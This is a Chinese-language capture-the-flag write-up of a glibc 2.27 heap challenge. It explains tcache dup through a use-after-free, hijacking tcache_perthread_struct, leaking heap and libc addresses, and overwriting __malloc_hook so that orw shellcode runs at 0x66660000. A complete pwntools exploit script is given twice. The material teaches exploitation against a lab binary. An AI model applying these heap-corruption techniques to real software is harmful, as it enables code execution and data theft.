根据本题,学习与收获有:
tcache attack时 如果可以利用tcache_perthread_struct,优先考虑利用这个结构体,可以省去很多麻烦。控制了这个结构体,相当于就控制了malloc的分配,可以控制tcache bins中chunk的数量和分配地址。tcache_perthread_struct结构体在堆上,大小一般为0x250。它的前64个字节,分别代表0x20~0x410大小的chunk(包括chunk头)的数量。当超过7的时候,再次释放的chunk会被放入到fastbin或者unsorted bin。后面的内存,则分别表示0x20~0x410大小tcache bins的首地址。如图所示:

然后看一下内部细节:

首地址如果是一个有效的地址,下一次分配对应大小的chunk会直接从该地址处分配,没有chunk size的检查。
tcache attack可以重复释放,可以直接修改tcache entry的值,没有chunk size的检查。
保护全开!
很明显,又是一个菜单题。首先来看main函数。

这些函数的名字我都修改过。然后看一下这个set_prctl到底干了啥:

同时,结合seccomp-tools查看一下禁用了哪些系统调用:

不能执行execve系统调用。那么结合前面的mmap,猜测可以控制程序执行流到0x66660000处,提前在这里写好shellcode,通过orw的方式读取flag。
继续往下分析函数。


size的大小只能控制在0x100以内,最多执行该函数7次。



可以看到,只能free三次,且存储内存指针的数组没有置为空。
ubuntu 18.04,libc的版本为2.27,有tcache bin机制。可以很明显的看到,在del_note函数中有一个UAF的漏洞。但是,最多只能free3次。结合tcache dup的利用手段,tcache bin连续两次释放,并不会crash,而会造成这个链表自己指向自己。这样,连续分配三次后,可以在任意地址分配chunk。mmap分配的内存具有可读可写可执行的权限,所以可以往这上面写shellcode,然后劫持malloc_hook到地址0x66660000,跳转执行shellcode。注意,不能包含execve的系统调用,所以只能写orw的shellcode。tcache_perthread_struct,这个结构体负责tcache in chunk的分配。所以,只要控制住这个结构体,就能实现控制任意大小的tcache bin chunk的任意地址的分配。tcache bins放满7个后,剩余free掉的chunk会被放到fastbin或者unsorted bin。这里判断对应带大小的tcache bins的方法,就是检查tcache_perthread_struct中的字段的大小是不是大于6。calloc不会从tcache bin中取chunk,但是如果对应大小的tcache bin未满7个的话,会把对应大小的fastbin或者small bin以头插法的形式,插入到tcache bin中。也就是说,如果修改了fd/bk指针,可以往任意一个地方写一个libc地址。(这个知识点可能用不到,不过可以先总结一下。)这里采取劫持tcache_perthread_struct,然后通过控制对应大小的tcache bin的数量,使得下一次释放的chunk被放置在unsorted bin中。,从而泄露出libc的地址,根据偏移计算出malloc_hook的地址。
步骤:
0x100大小的chunk 0和chunk 1chunk 1show功能打印出堆地址,进而泄露出tcache_perthread_struct的地址,并分配到这里0x100大小的tcache bin的首地址为0x66660000和个数为00x66660000处,写入shellcodechunk 0,此时chunk 0会进入到unsorted bin,利用show功能打印出libc地址tcache_perthread_struct,分配到malloc_hook处,写入0x66660000add_note即可打印出flag我们就按照上面所说的这个利用思路来进行调试。
定义好相关的函数:
def add_note(size:int):
global io
io.sendlineafter("Your Choice: ", ‘1‘)
io.sendlineafter("size: ", str(size))
io.recvuntil("Done!\n")
def show_note(idx:int):
global io
io.sendlineafter("Your Choice: ", ‘2‘)
io.sendlineafter("id: ", str(idx))
msg = io.recvline()
leak_addr = msg[9:15]
leak_addr = u64(leak_addr.ljust(8, b‘\x00‘))
LOG_ADDR(‘leak_addr‘, leak_addr)
io.recvuntil("Done!\n")
return leak_addr
def edit_note(idx:int, content:bytes=b‘a‘):
global io
io.sendlineafter("Your Choice: ", ‘3‘)
io.sendlineafter("id: ", str(idx))
io.sendafter("content: ", content)
io.recvuntil("Done!\n")
def del_note(idx:int):
global io
io.sendlineafter("Your Choice: ", ‘4‘)
io.sendlineafter("id: ", str(idx))
io.recvuntil("Done!\n")
首先执行两次add_note
add_note(0x100) # 0
add_note(0x100) # 1

然后,执行tcache dup:
del_note(1)
del_note(1)

然后泄露出地址,并分配到tcache_perthread_struct
# get heap addr
heap_addr = show_note(1)
tcache_struct = heap_addr - 0x360
add_note(0x100) # 2
edit_note(2, p64(tcache_struct) * 2)
add_note(0x100) # 3
add_note(0x100) # 4 tcache struct

可以看到,0x100大小的chunk的count变成了-1
分配到0x66660000
edit_note(4, 0xb8 * b‘\x00‘ + p64(0x66660000))
# 0x66660000 chunk
add_note(0x100) # 5

写入shellcode到0x66660000
shellcode = shellcraft.open(‘flag‘, 0)
shellcode += shellcraft.read(3, 0x66660300, 0x30)
shellcode += shellcraft.write(1, 0x66660300, 0x30)
edit_note(5, asm(shellcode))

泄露libc地址,并且计算出malloc_hook地址
del_note(0)
main_arena_96 = show_note(0)
malloc_hook = main_arena_96 - 0x70

分配到malloc_hook,写入0x66660000,并执行一次add_note
add_note(0x100) # 6
edit_note(6, p64(0x66660000))
io.sendlineafter("Your Choice: ", ‘1‘)
io.sendlineafter("size: ", str(100))

最后远程打的结果:

from pwn import *
context.update(arch=‘amd64‘, os=‘linux‘, endian=‘little‘)
io = process(‘./pwn‘)
def add_note(size:int):
global io
io.sendlineafter("Your Choice: ", ‘1‘)
io.sendlineafter("size: ", str(size))
io.recvuntil("Done!\n")
def show_note(idx:int):
global io
io.sendlineafter("Your Choice: ", ‘2‘)
io.sendlineafter("id: ", str(idx))
msg = io.recvline()
leak_addr = msg[9:15]
leak_addr = u64(leak_addr.ljust(8, b‘\x00‘))
LOG_ADDR(‘leak_addr‘, leak_addr)
io.recvuntil("Done!\n")
return leak_addr
def edit_note(idx:int, content:bytes=b‘a‘):
global io
io.sendlineafter("Your Choice: ", ‘3‘)
io.sendlineafter("id: ", str(idx))
io.sendafter("content: ", content)
io.recvuntil("Done!\n")
def del_note(idx:int):
global io
io.sendlineafter("Your Choice: ", ‘4‘)
io.sendlineafter("id: ", str(idx))
io.recvuntil("Done!\n")
# tcache bin dup
add_note(0x100) # 0
add_note(0x100) # 1
del_note(1)
del_note(1)
# get heap addr
heap_addr = show_note(1)
tcache_struct = heap_addr - 0x360
add_note(0x100) # 2
edit_note(2, p64(tcache_struct) * 2)
add_note(0x100) # 3
add_note(0x100) # 4 tcache struct
LOG_ADDR(‘tcache_struct‘, tcache_struct)
edit_note(4, 0xb8 * b‘\x00‘ + p64(0x66660000))
# 0x66660000 chunk
add_note(0x100) # 5
shellcode = shellcraft.open(‘flag‘, 0)
shellcode += shellcraft.read(3, 0x66660300, 0x30)
shellcode += shellcraft.write(1, 0x66660300, 0x30)
edit_note(5, asm(shellcode))
# leak libc_addr
del_note(0)
main_arena_96 = show_note(0)
malloc_hook = main_arena_96 - 0x70
LOG_ADDR(‘malloc_hook‘, malloc_hook)
edit_note(4, 0xb8 * b‘\x00‘ + p64(malloc_hook))
add_note(0x100) # 6
edit_note(6, p64(0x66660000))
io.sendlineafter("Your Choice: ", ‘1‘)
io.sendlineafter("size: ", str(100))
io.interactive()
原文:https://www.cnblogs.com/LynneHuan/p/14589294.html